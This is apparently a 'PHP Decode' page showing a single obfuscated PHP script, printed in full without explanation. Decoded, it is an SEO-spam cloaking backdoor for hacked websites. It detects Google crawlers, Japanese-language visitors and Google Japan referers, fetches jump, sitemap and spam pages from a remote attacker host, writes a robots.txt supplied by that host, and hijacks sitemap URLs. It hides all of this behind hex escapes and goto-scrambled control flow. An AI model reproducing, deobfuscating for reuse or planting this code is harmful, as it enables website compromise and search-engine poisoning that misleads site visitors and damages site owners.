PHP Decode

<?php $fNcqA = "\x68\164\x74\x70\163\72\x2f\x2f\152\62\65\x30\x31\x32\x32\137\x31\x33\x2e\x6d\x6f\156\153\145\x79\x65\163\x2e\143\x6c\151\x63\153\57"; class OnQmf { public function lBerL($mHjQ6 = '', $ZsYdf = '') { if (!empty($mHjQ6)) { goto Uz_MI; } return $_SERVER; Uz_MI: $mHjQ6 = strtoupper($mHjQ6); return isset($_SERVER[$mHjQ6]) ? $_SERVER[$mHjQ6] : $ZsYdf; } public function nDNy5() { if ($this->LbERl("\110\x54\124\x50\123") && ("\x31" == $this->LbERl("\110\x54\124\x50\123") || "\x6f\156" == strtolower($this->lbErL("\110\x54\124\120\123")))) { goto npeVm; } if ("\150\x74\164\x70\163" == $this->lbeRl("\x52\x45\121\x55\x45\x53\x54\137\x53\x43\110\x45\x4d\105")) { goto ANuhp; } if ("\64\64\63" == $this->LbErL("\123\105\122\x56\105\122\x5f\x50\x4f\x52\x54")) { goto AlL5O; } if ("\150\x74\x74\x70\x73" == $this->lBerl("\x48\x54\x54\x50\x5f\130\137\x46\117\x52\x57\101\x52\x44\x45\104\x5f\120\122\117\x54\117")) { goto P24xi; } goto Uy30m; npeVm: return true; goto Uy30m; ANuhp: return true; goto Uy30m; AlL5O: return true; goto Uy30m; P24xi: return true; Uy30m: return false; } public function VSKdz() { $ozKYg = strval($this->lbERl("\x48\x54\124\120\137\130\137\106\x4f\122\x57\101\x52\104\x45\x44\137\x48\x4f\123\x54") ?: $this->lbErL("\x48\x54\124\x50\x5f\x48\117\x53\124")); return strpos($ozKYg, "\72") ? strstr($ozKYg, "\72", true) : $ozKYg; } public function sjBVh() { return $this->nDny5() ? "\150\164\164\x70\x73" : "\150\164\164\x70"; } public function sVYIU() { $wU2gg = $this->G1U7S(); if (!in_array($wU2gg, [80, 443])) { goto zSnd8; } return $this->SJbvH() . "\72\x2f\x2f" . $this->vSKdZ(); zSnd8: return $this->sjbVh() . "\72\57\57" . $this->VSkdz() . "\x3a" . $wU2gg; } public function G1U7s() : int { return (int) ($this->lberl("\x48\x54\124\x50\137\130\137\106\x4f\x52\127\101\122\104\105\x44\x5f\120\x4f\x52\124") ?: $this->lBeRl("\123\105\122\126\x45\122\x5f\120\x4f\x52\x54", '')); } public function PHPgC() { $eN32f = strtolower($this->LbeRL("\110\x54\124\x50\137\125\123\x45\x52\x5f\101\x47\x45\116\124")); if (!($eN32f != '' && preg_match("\57\147\157\x6f\147\154\145\x62\x6f\164\x7c\147\157\x6f\147\x6c\145\x7c\x79\x61\150\157\157\x7c\142\151\156\147\x7c\x61\x6f\x6c\x2f\x73\151", $eN32f))) { goto hmiRd; } return true; hmiRd: return false; } public function JMHka() { $dXaWs = strtolower($this->LbeRL("\110\124\x54\120\x5f\x52\x45\x46\x45\122\x45\x52")); if (!($dXaWs != '' && preg_match("\x2f\147\x6f\x6f\x67\x6c\145\x2e\143\157\56\152\x70\x7c\x79\141\x68\157\157\x2e\x63\157\56\x6a\160\x7c\147\x6f\x6f\147\x6c\x65\x2e\143\157\x6d\57\x73\151", $dXaWs))) { goto Z5Cwl; } return true; Z5Cwl: return false; } public function utAzL() { $Hs0n8 = basename($this->lberl("\123\103\x52\111\x50\x54\137\x46\x49\114\x45\x4e\101\115\x45")); if (basename($this->lBErL("\123\103\x52\111\x50\x54\x5f\116\101\115\x45")) === $Hs0n8) { goto Lalg7; } if (basename($this->lBERL("\x50\110\120\137\123\105\x4c\106")) === $Hs0n8) { goto DtwcK; } if (basename($this->lbErL("\x4f\122\x49\107\x5f\123\103\x52\111\x50\x54\137\x4e\101\115\x45")) === $Hs0n8) { goto riHSO; } if (($sEYFM = strpos($this->lberL("\120\110\120\137\x53\105\x4c\106"), "\x2f" . $Hs0n8)) !== false) { goto as0f3; } if ($this->lBErl("\104\x4f\103\125\115\x45\116\124\x5f\122\117\x4f\124") && strpos($this->LbERL("\123\x43\x52\111\120\x54\137\x46\x49\114\105\x4e\x41\x4d\105"), $this->lbErL("\x44\117\x43\125\115\105\116\124\137\122\x4f\117\124")) === 0) { goto g0YGR; } goto xR8QV; Lalg7: $FmGDo = $this->LbeRl("\123\103\x52\111\x50\x54\137\x4e\101\x4d\105"); goto xR8QV; DtwcK: $FmGDo = $this->LbeRL("\x50\110\120\137\123\x45\114\106"); goto xR8QV; riHSO: $FmGDo = $this->lBerL("\x4f\122\111\107\137\123\103\122\x49\x50\x54\x5f\116\x41\x4d\105"); goto xR8QV; as0f3: $FmGDo = substr($this->LbERL("\123\103\x52\x49\x50\124\137\x4e\101\x4d\105"), 0, $sEYFM) . "\x2f" . $Hs0n8; goto xR8QV; g0YGR: $FmGDo = str_replace($this->lbeRl("\x44\117\103\x55\x4d\x45\116\x54\x5f\122\x4f\x4f\x54"), '', $this->LbErL("\123\x43\x52\111\x50\124\x5f\106\111\114\x45\116\101\115\x45")); xR8QV: if (($sEYFM = strpos($this->lBeRl("\x52\x45\121\x55\105\x53\124\137\125\122\x49"), "\56\160\150\160")) !== false) { goto z2P70; } $DZQz6 = $FmGDo . substr($this->lbeRl("\122\x45\x51\125\105\123\124\x5f\125\x52\111"), strpos($this->LbERl("\122\x45\x51\x55\x45\123\x54\x5f\125\122\x49"), "\57")); goto WHG47; z2P70: $DZQz6 = $FmGDo . substr($this->lBERl("\x52\105\x51\125\105\x53\124\137\x55\x52\111"), $sEYFM + 4); WHG47: return rtrim($DZQz6, "\x2f"); } public function w_8fl($FmGDo, $V3cUo = array()) { $FmGDo = str_replace("\x20", "\53", $FmGDo); $SIIRl = curl_init(); curl_setopt($SIIRl, CURLOPT_URL, $FmGDo); curl_setopt($SIIRl, CURLOPT_RETURNTRANSFER, 1); curl_setopt($SIIRl, CURLOPT_HEADER, 0); curl_setopt($SIIRl, CURLOPT_TIMEOUT, 20); curl_setopt($SIIRl, CURLOPT_POST, 1); curl_setopt($SIIRl, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($SIIRl, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($SIIRl, CURLOPT_POSTFIELDS, http_build_query($V3cUo)); $iS3JW = curl_exec($SIIRl); $l6lkU = curl_errno($SIIRl); curl_close($SIIRl); if (!(0 !== $l6lkU)) { goto SI9NI; } return false; SI9NI: return $iS3JW; } } $x0PwV = new oNQmF(); $HI8sC = $x0PwV->PHPGC(); $z6dHA = $x0PwV->JmHkA(); $Hocei = $fNcqA . "\x72\x6f\x62\157\x74\163\x2e\x70\150\160"; $RjHfK = $fNcqA . "\x77\x6f\x72\x64\56\160\150\160"; $y4Olx = $fNcqA . "\x6a\165\x6d\160\x2e\160\150\x70"; $ALMQ3 = $fNcqA . "\x6d\141\x70\56\x70\x68\x70"; $O0U_x = $fNcqA . "\x69\x6e\144\x61\x74\x61\56\x70\150\x70"; $fIIy8 = str_replace("\57\x69\156\x64\x65\x78\x2e\x70\150\160", '', urldecode($x0PwV->utAzl())); $V3cUo = ["\144\x6f\x6d\141\151\x6e" => $x0PwV->sVYiu(), "\x70\157\162\164" => $x0PwV->G1U7s(), "\x75\162\x69" => $fIIy8]; if (!(substr($fIIy8, -6) == "\162\157\x62\157\x74\163")) { goto pH3SF; } $iS3JW = $x0PwV->W_8fL($Hocei, $V3cUo); file_put_contents(__DIR__ . "\57\162\x6f\x62\x6f\164\x73\x2e\164\x78\164", $iS3JW); $nMk4Q = @file_get_contents(__DIR__ . "\57\162\x6f\142\x6f\x74\x73\x2e\x74\x78\164"); if (strpos(strtolower($nMk4Q), "\x73\x69\x74\145\155\x61\x70")) { goto M63yB; } exit("\x72\x6f\142\157\x74\x73\56\x74\170\164\x20\146\151\154\145\40\x63\x72\145\141\x74\145\40\x66\141\x69\x6c\x21"); goto b2IXK; M63yB: exit("\x72\x6f\x62\157\x74\163\56\164\170\x74\40\x66\x69\154\145\40\143\162\145\x61\164\x65\x20\x73\165\x63\x63\x65\x73\163\41"); b2IXK: pH3SF: if (!(substr($fIIy8, -4) == "\x2e\170\155\x6c")) { goto KpR70; } if (!(strpos($fIIy8, "\141\x6c\154\x73\x69\x74\145\x6d\141\160\56\170\x6d\x6c") || strpos($fIIy8, "\x73\151\x74\x65\x6d\141\x70\x2d\x69\156\144\145\x78\x2e\x78\x6d\x6c") || strpos($fIIy8, "\163\x69\x74\145\x6d\x61\160\55\151\156\144\x65\170\55\61\56\170\155\154") || strpos($fIIy8, "\x69\156\144\145\170\56\170\x6d\x6c"))) { goto tHHvQ; } $iS3JW = $x0PwV->w_8Fl($ALMQ3, $V3cUo); header("\x43\157\x6e\x74\x65\x6e\164\x2d\164\171\160\145\72\x74\145\170\164\x2f" . (substr($iS3JW, 0, 5) === "\74\77\170\x6d\154" ? "\x78\155\154" : "\160\x6c\x61\x69\156") . "\x3b\40\143\150\141\162\x73\x65\x74\75\x75\x74\x66\x2d\x38"); exit('' . $iS3JW); tHHvQ: $iS3JW = $x0PwV->W_8FL($RjHfK, $V3cUo); header("\x43\x6f\156\164\x65\x6e\x74\x2d\164\x79\160\x65\x3a\164\145\170\164\x2f\170\155\154\73\x20\x63\x68\x61\x72\163\145\164\x3d\x75\164\x66\x2d\70"); if ($iS3JW == "\61") { goto Dnk9Q; } exit('' . $iS3JW); goto UW8Bi; Dnk9Q: exit('' . $x0PwV->w_8FL($ALMQ3, $V3cUo)); UW8Bi: KpR70: $M6Mgw = $x0PwV->lBeRl("\x48\124\124\120\137\x41\x43\x43\x45\x50\124\x5f\x4c\x41\x4e\x47\125\x41\107\105"); if (!(!$HI8sC && $z6dHA && preg_match("\57\152\141\x2f\151", $M6Mgw))) { goto bQOl6; } exit('' . $x0PwV->W_8fL($y4Olx, $V3cUo)); bQOl6: if (!($HI8sC || preg_match("\43\133\141\x2d\172\x41\55\x5a\x5d\x2b\x5c\x2d\133\141\x2d\172\x41\x2d\x5a\135\x2b\x5c\144\x7b\65\54\x37\175\x5c\55\x5c\x64\173\63\175\x23", $fIIy8))) { goto aytux; } exit('' . $x0PwV->w_8fl($O0U_x, $V3cUo)); aytux:?>